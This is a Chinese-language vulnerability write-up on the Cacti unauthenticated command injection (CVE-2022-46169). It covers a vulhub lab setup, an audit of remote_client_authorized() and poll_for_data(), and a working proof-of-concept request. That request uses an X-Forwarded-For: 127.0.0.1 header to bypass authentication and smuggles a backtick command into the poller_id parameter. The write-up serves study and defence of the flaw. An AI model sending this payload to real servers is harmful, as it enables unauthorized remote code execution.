> 技术文档 > Cacti 前台命令注入漏洞(CVE-2022-46169)

Cacti 前台命令注入漏洞(CVE-2022-46169)


一、漏洞概述

Cacti 作为开源监控框架,在特定版本中存在严重的命令注入漏洞。未经身份验证的攻击者可通过构造恶意请求,绕过身份验证并在服务器上执行任意代码,风险等级极高1。该漏洞的核心在于 remote_agent.php 文件中存在身份验证绕过与命令注入的双重缺陷,本文将结合源代码进行深度剖析。

二、漏洞环境搭建

复现该漏洞需准备以下环境与工具:

  • 操作系统:Linux(基于 vulhub 平台部署)
  • 辅助工具:burpsuite 抓包工具
  • 漏洞镜像:CVE-2022-46169 对应版本的 Cacti 镜像

搭建步骤

  1. 拉取并部署漏洞环境
    cd vulhub-master/Cacti/CVE-2022-46169/docker-compose up -d
  2. 访问 http://ip:port,使用默认账户密码(admin/admin)完成初始化安装

    Cacti 前台命令注入漏洞(CVE-2022-46169)

三、漏洞验证 POC

以下 HTTP 请求可用于验证漏洞存在:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1X-Forwarded-For: 127.0.0.1Host: 192.168.20.150:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/137.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Connection: keep-alive

执行后可在服务器 /tmp 目录下生成 success 文件,证明命令注入成功

Cacti 前台命令注入漏洞(CVE-2022-46169)

四、源代码深度审计

1. 身份验证绕过原理

remote_agent.php 的核心验证逻辑位于 remote_client_authorized() 函数,其代码逻辑如下:

function remote_client_authorized() { $client_addr = get_client_addr(); $client_name = gethostbyaddr($client_addr); $pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id); foreach($pollers as $poller) { if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name || $poller[\'hostname\'] == $client_addr) { return true; } } return false;}
  • 绕过技巧:通过构造 X-Forwarded-For: 127.0.0.1 请求头,使 $client_addr 被识别为本地 IP

Cacti 前台命令注入漏洞(CVE-2022-46169)

  • 关键缺陷:系统对本地 IP 的信任机制导致验证被绕过,当 $client_addr 为 127.0.0.1 时直接通过主机名校验

2. 命令注入代码分析

命令注入点位于 poll_for_data() 函数的 POLLER_ACTION_SCRIPT_PHP 分支:

case POLLER_ACTION_SCRIPT_PHP: $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);
  • 参数传递链$poller_id 由 get_nfilter_request_var(\'poller_id\') 获取,该函数未对输入做严格过滤
  • 执行机制proc_open() 函数直接拼接 $poller_id 并执行系统命令,导致注入代码被执行
  • 触发条件:需通过 action=polldata 参数调用 poll_for_data() 函数,同时满足 local_data_ids 和 host_id 参数的有效性

3. 漏洞触发完整流程

  1. 攻击者构造包含 X-Forwarded-For: 127.0.0.1 的请求头,绕过 remote_client_authorized() 验证
  2. 通过 action=polldata 参数调用 poll_for_data() 函数
  3. 在 $poller_id 参数中注入恶意命令(如 touch /tmp/success
  4. 系统通过 proc_open() 执行包含恶意命令的代码,完成攻击

Cacti 前台命令注入漏洞(CVE-2022-46169)